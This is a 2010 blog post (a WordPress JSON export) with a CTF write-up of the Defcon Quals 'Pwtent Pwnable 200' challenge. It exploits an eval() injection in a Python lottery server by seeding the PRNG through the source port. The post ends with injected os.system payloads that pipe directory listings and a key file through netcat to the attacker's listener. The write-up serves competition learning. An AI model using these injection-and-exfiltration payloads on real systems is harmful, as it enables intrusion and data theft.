{"id":198,"date":"2010-05-25T02:30:35","date_gmt":"2010-05-25T07:30:35","guid":{"rendered":"http:\/\/www.rajatswarup.com\/blog\/?p=198"},"modified":"2010-05-25T02:40:15","modified_gmt":"2010-05-25T07:40:15","slug":"pwtent-pwnable-200-writeup-ctf-quals-2010","status":"publish","type":"post","link":"https:\/\/www.rajatswarup.com\/blog\/2010\/05\/25\/pwtent-pwnable-200-writeup-ctf-quals-2010\/","title":{"rendered":"Pwtent Pwnable 200 Writeup CTF Quals 2010"},"content":{"rendered":"<p>This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals.<br \/>\nThe question was:<br \/>\nRunning on pwn8.ddtek.biz. And this <a href=\"Pp200_73774703181e8703d24.bin\">file<\/a> was given.<\/p>\n<p>If you open this file in an editor you see the following screen:<br \/>\n<a href=\"http:\/\/www.rajatswarup.com\/blog\/wp-content\/uploads\/2010\/05\/pp200-in-editor1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-204\" title=\"pp200-in-editor\" src=\"http:\/\/www.rajatswarup.com\/blog\/wp-content\/uploads\/2010\/05\/pp200-in-editor1-300x203.jpg\" alt=\"\" width=\"300\" height=\"203\" srcset=\"https:\/\/www.rajatswarup.com\/blog\/wp-content\/uploads\/2010\/05\/pp200-in-editor1-300x203.jpg 300w, https:\/\/www.rajatswarup.com\/blog\/wp-content\/uploads\/2010\/05\/pp200-in-editor1.jpg 406w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Note that there are references to lottod.pys file which indicates that this could be a python script file.\u00a0 Sure enough, if you decompile it using <a href=\"http:\/\/sourceforge.net\/projects\/decompyle\/\">decompyle<\/a> you get the following source.<\/p>\n<pre>class ForkedTCPRequestHandler(SocketServer.StreamRequestHandler):\r\n    __module__ = __name__\r\n    lotto_grid = None\r\n    connstream_fobj = None\r\n\r\n    def setup(self):\r\n        signal.signal(signal.SIGALRM, self.handleSessionTimeout)\r\n        signal.alarm(SESSION_LIMIT_TIME)\r\n\r\n    def handleSessionTimeout(self, signum, frame):\r\n        raise socket.timeout\r\n\r\n    def createWinners(self):\r\n        winners = set()\r\n        while (len(winners) &lt; PICK_SIZE):\r\n            winners.update([random.randint(1, RAND_MAX)])\r\n\r\n        return winners\r\n\r\n    def pickRandom(self):\r\n        picks = set()\r\n        llen = len(self.lotto_grid)\r\n        rand_base = (len(picks) - 1)\r\n        while (len(picks) &lt; PICK_SIZE):\r\n            i = random.randint(rand_base, RAND_MAX)\r\n            if (i &lt; 1):                 ++i             if ((i &gt; llen) and ((i % llen) == 0)):\r\n                i += 1\r\n            i = (i % llen)\r\n            picks.update([i])\r\n\r\n        return picks\r\n\r\n    def genGrid(self):\r\n        grid = [WINNER_CHECK_FUNCTION]\r\n        while (len(grid) != LOTTO_GRID_SIZE):\r\n            grid.append(random.randint(0, RAND_MAX))\r\n\r\n        return grid\r\n\r\n    def checkWinners(self, element):\r\n        winner = True\r\n        for n in self.winners:\r\n            winner = (winner &amp; (n in [ self.lotto_grid[p] for p in self.pick_list ]))\r\n\r\n        if winner:\r\n            self.request.send('ZOMG You won!!!\\n')\r\n        else:\r\n            self.request.send(\"Sorry you aren't very lucky... Maybe you have better luck with women?\\n\")\r\n\r\n    def playGame(self):\r\n        self.request.send('Thanks for your choices, calculating if you won...')\r\n        eval(self.lotto_grid[0])(self.lotto_grid[1:])\r\n\r\n    def getLine(self, msg):\r\n        self.request.send(msg)\r\n        return self.connstream_fobj.readline(MAX_READ)\r\n\r\n    def handlePickChange(self):\r\n        for r in range(0, MAX_PICK_CHANGES):\r\n            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\\n')\r\n            if (input.strip() == ''):\r\n                break\r\n            else:\r\n                idx_to_edit = int(input)\r\n                l = self.getLine('Input your new pick\\n')\r\n                self.lotto_grid[self.pick_list[idx_to_edit]] = l\r\n\r\n    def handle(self):\r\n        rand_seed = self.request.getpeername()[1]\r\n        self.connstream_fobj = self.request.makefile()\r\n        random.seed(rand_seed)\r\n        self.request.send('Welcome to lottod good luck!\\n')\r\n        self.lotto_grid = self.genGrid()\r\n        self.pick_list = list(self.pickRandom())\r\n        self.winners = self.createWinners()\r\n        self.request.send('Your random picks are:\\n')\r\n        for pick_idx in range(0, PICK_SIZE):\r\n            self.request.send(('%d. %s\\n' % (pick_idx,\r\n             self.lotto_grid[self.pick_list[pick_idx]])))\r\n\r\n        self.handlePickChange()\r\n        self.playGame()\r\n\r\nclass ForkedTCPServer(SocketServer.ForkingMixIn,\r\n SocketServer.TCPServer):\r\n    __module__ = __name__\r\n    timeout = 5\r\n    request_queue_size = 10\r\n\r\ndef runServer():\r\n    (HOST, PORT,) = ('0.0.0.0',\r\n     10024)\r\n    server = ForkedTCPServer((HOST,\r\n     PORT), ForkedTCPRequestHandler)\r\n    server.serve_forever()\r\n\r\ndef doFork(n):\r\n    try:\r\n        pid = fork()\r\n        if ((pid &gt; 0) and (n &gt; 0)):\r\n            print ('Lottod PID %d' % pid)\r\n        if (pid &gt; 0):\r\n            exit(0)\r\n    except OSError, e:\r\n        print ('Fork %d failed %d (%s)' % (n,\r\n         e.errno,\r\n         e.strerror))\r\n        exit(1)\r\n\r\nif (__name__ == '__main__'):\r\n    doFork(0)\r\n    chdir('\/')\r\n    setsid()\r\n    umask(0)\r\n    doFork(1)\r\n    runServer()\r\n\r\n# local variables:\r\n# tab-width: 4\r\n<\/pre>\n<p>If you notice, this indicates that the server is running on port 10024 and indeed it was on pwn8.ddtek.biz.  If you read through the code you also see that the source port number is being used as a seed to the pseudo-random number generator (PRNG).<\/p>\n<pre>rand_seed = self.request.getpeername()[1]\r\n<\/pre>\n<p>So I fired up netcat to see if indeed that was the case and sure enough no matter how many times I fired up the command the options I&#8217;d see would always be the same.<\/p>\n<pre># nc -vv -p 1  pwn8.ddtek.biz 10024\r\n<\/pre>\n<p>If you see through the code of the decompiled file, it shows that the location to write as well the value to be written can be controlled by the user in the following snippet:<\/p>\n<pre>    def handlePickChange(self):\r\n        for r in range(0, MAX_PICK_CHANGES):\r\n            input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\\n')\r\n            if (input.strip() == ''):\r\n                break\r\n            else:\r\n                idx_to_edit = int(input)\r\n                l = self.getLine('Input your new pick\\n')\r\n                self.lotto_grid[self.pick_list[idx_to_edit]] = l\r\n<\/pre>\n<p>So I first wrote up a python script that followed the exact sequence of command as the decompiled code and found that there was no combination in the 65535 source port (or seeds) that would satisfy the following condition (the condition for winning):<\/p>\n<pre>    def checkWinners(self, element):\r\n        winner = True\r\n        for n in self.winners:\r\n            winner = (winner &amp; (n in [ self.lotto_grid[p] for p in self.pick_list ]))\r\n\r\n        if winner:\r\n            self.request.send('ZOMG You won!!!\\n')\r\n        else:\r\n            self.request.send(\"Sorry you aren't very lucky... Maybe you have better luck with women?\\n\")\r\n<\/pre>\n<p>But then you also see that the first element of the self.lotto_grid list is a function pointer.  Also, you notice that there&#8217;s an eval() function that essentially executed the checkWinners function.<br \/>\nSo I wrote up the following python script that would go through all possible combinations of ports and index values to overwrite so that I could overwrite the self.lotto_grid[0] value because that&#8217;d give me control of the execution flow.<\/p>\n<pre># !\/usr\/bin\/python\r\nimport random\r\nRAND_MAX = (2 ** 20)\r\nPICK_SIZE = 5\r\nMAX_READ = 128\r\nLOTTO_GRID_SIZE = 299\r\nSESSION_LIMIT_TIME = 30\r\nMAX_PICK_CHANGES = 5\r\nWINNER_CHECK_FUNCTION = 'self.checkWinners'\r\n\r\nclass Test:\r\n    def createWinners(self):\r\n        winners = set()\r\n        while (len(winners) &lt; PICK_SIZE):\r\n            winners.update([random.randint(1, RAND_MAX)])\r\n\t#print \"Winners are: \", winners\r\n        return winners\r\n\r\n    def pickRandom(self):\r\n        picks = set()\r\n        llen = len(self.lotto_grid)\r\n        rand_base = (len(picks) - 1)\r\n        while (len(picks) &lt; PICK_SIZE):\r\n            i = random.randint(rand_base, RAND_MAX)\r\n            if (i &lt; 1):                 ++i             if ((i &gt; llen) and ((i % llen) == 0)):\r\n                i += 1\r\n            i = (i % llen)\r\n            picks.update([i])\r\n\treturn picks\r\n\r\n    def genGrid(self):\r\n        grid = [WINNER_CHECK_FUNCTION]\r\n        while (len(grid) != LOTTO_GRID_SIZE):\r\n            grid.append(random.randint(0, RAND_MAX))\r\n\t#counter = 0\r\n\t#while counter &lt; len(grid):\r\n\t#\tprint grid[counter]\r\n\t#\tcounter += 1\r\n        return grid\r\n\r\n    def checkWinners(self, element):\r\n        winner = True\r\n        for n in self.winners:\r\n            winner = (winner &amp; (n in [ self.lotto_grid[p] for p in self.pick_list ]))\r\n        if winner:\r\n            print \"ZOMG You won!!!\\n'\"\r\n\t    return True\r\n        else:\r\n            print \"Sorry you aren't very lucky... Maybe you have better luck with women?\\n\"\r\n\t    return False\r\n\r\n    def playGame(self):\r\n        #self.request.send('Thanks for your choices, calculating if you won...')\r\n        eval(self.lotto_grid[0])(self.lotto_grid[1:])\r\n\r\n    def getLine(self, msg):\r\n        self.request.send(msg)\r\n        return self.connstream_fobj.readline(MAX_READ)\r\n\r\n    def handlePickChange(self):\r\n        for r in range(0, MAX_PICK_CHANGES):\r\n        #    input = self.getLine('Input the number of the pick that you wish to change or newline to stop:\\n')\r\n        #    if (input.strip() == ''):\r\n        #        break\r\n        #    else:\r\n        #        idx_to_edit = int(input)\r\n        #        l = self.getLine('Input your new pick\\n')\r\n        #        self.lotto_grid[self.pick_list[idx_to_edit]] = l\r\n\t\tfor idx_to_edit in range(-PICK_SIZE,PICK_SIZE):\r\n\t\t\tif self.lotto_grid[self.pick_list[idx_to_edit]]==self.lotto_grid[0]:\r\n\t\t\t\tprint \"Ind: %d, %s\" % (idx_to_edit,self.lotto_grid[0])\r\n\t\t\t\treturn True\r\n\treturn False\r\n\t#gridcounter = 0\r\n\t#found = False\r\n\t#while gridcounter &lt; len(self.lotto_grid):\r\n\t#  if self.lotto_grid[gridcounter] in self.winners:\r\n\t#    if gridcounter &lt; PICK_SIZE:\r\n\t#      print \"Gridctr: %d : %d\" % (gridcounter,self.lotto_grid[gridcounter])\r\n\t#      found = True\r\n\t#  gridcounter += 1\r\n\t#return found\r\n\t#allfound = False\r\n\t#instances = 0\r\n\t#for x in self.winners:\r\n\t#\tfoundx = False\r\n\t#\tgridctr = -LOTTO_GRID_SIZE\r\n\t#\twhile gridctr &lt; LOTTO_GRID_SIZE:#len(self.lotto_grid):\r\n\t#\t\t\tfoundx = True\r\n\t#\t\t\tprint \"gridctr: %d , val = %d \" % (gridctr,x)\r\n\t#\t\t\t#break\r\n\t#\t\tgridctr += 1\r\n\t#\tif foundx:\r\n\t#\t\tallfound = True\r\n\t#\telse:\r\n\t#\t\tallfound = False\r\n\t#\t\treturn False\r\n\t#return allfound\r\n\r\n    def handle(self,port):\r\n        random.seed(port)\r\n        self.lotto_grid = self.genGrid()\r\n        self.pick_list = list(self.pickRandom())\r\n        #print \"picklist : \",self.pick_list\r\n\tself.winners = self.createWinners()\r\n        #for pick_idx in range(0, PICK_SIZE):\r\n        #    print(('%d. %s\\n' % (pick_idx,\r\n        #     self.lotto_grid[self.pick_list[pick_idx]])))\r\n        if self.handlePickChange():\r\n\t\treturn True\r\n\treturn False\r\n        #self.playGame()\r\n\t#if self.checkWinners(self.lotto_grid[1:]):\r\n\t#\treturn True\r\n\t#return False\r\n\r\ntest = Test()\r\nportno = 0\r\nwhile portno &lt; 65536:\r\n  print \"Trying...%d\" % ( portno )\r\n  if test.handle(portno):\r\n\tprint \"Success! on port %d\" % (portno)\r\n    \t#break\r\n  portno += 1\r\n<\/pre>\n<p>Once you run this you get the following values for port and index: 28741 &amp; -5 respectively.<\/p>\n<pre>$ sudo nc -vv pwn8.ddtek.biz 10024 -p 28741\r\nWarning: inverse host lookup failed for 192.41.96.63: Unknown server error : Connection timed out\r\npwn8.ddtek.biz [192.41.96.63] 10024 (?) open\r\nWelcome to lottod good luck!\r\nYour random picks are:\r\n0. self.checkWinners\r\n1. 321358\r\n2. 144737\r\n3. 447310\r\n4. 63867\r\nInput the number of the pick that you wish to change or newline to stop:\r\n-5\r\nInput your new pick\r\nself.checkWinners(self.winners.clear())\r\nInput the number of the pick that you wish to change or newline to stop:\r\n\r\nThanks for your choices, calculating if you won...ZOMG You won!!!\r\n sent 44, rcvd 344\r\ntrance@bt:~$\r\n<\/pre>\n<p>But then this still does not give you the answer.  The key here is to realize that you can perform remote command injection.  So if you start a nc listener on your server and give following parameters for the new pick for the same index of -5 (in multiple runs of course) you can start enumerating the directories:<\/p>\n<pre>self.checkWinners(__import__('os').system('ls \/home|nc MYIP 8888'))\r\nself.checkWinners(__import__('os').system('ls \/home\/lottod|nc MYIP 8888'))\r\nself.checkWinners(__import__('os').system('cat \/home\/lottod\/key|nc MYIP 8888'))\r\n<\/pre>\n<p>After the last command your netcat listener shell shows the following string:<br \/>\nholdem is a safer bet than lotto<\/p>\n<p>And that is indeed the answer to the challenge!<\/p>\n<p>The python file is located here: <a href=\"http:\/\/www.rajatswarup.com\/blog\/wp-content\/uploads\/2010\/05\/Pp200sol.py_.txt\">Pp200sol.py<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This post is a writeup of the Pwtent Pwnable 200 Challenge in Defcon 2010 CTF Quals. The question was: Running on pwn8.ddtek.biz. And this file was given. If you open this file in an editor you see the following screen: Note that there are references to lottod.pys file which indicates that this could be a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[161,230,196,198],"tags":[222,393,224,392,394,391],"class_list":["post-198","post","type-post","status-publish","format-standard","hentry","category-cons","category-howto","category-programming","category-reversing","tag-ctf","tag-dc18","tag-defcon","tag-pwn200","tag-pwnable200","tag-quals-2010"],"_links":{"self":[{"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/posts\/198","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/comments?post=198"}],"version-history":[{"count":4,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/posts\/198\/revisions"}],"predecessor-version":[{"id":205,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/posts\/198\/revisions\/205"}],"wp:attachment":[{"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/media?parent=198"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/categories?post=198"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.rajatswarup.com\/blog\/wp-json\/wp\/v2\/tags?post=198"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}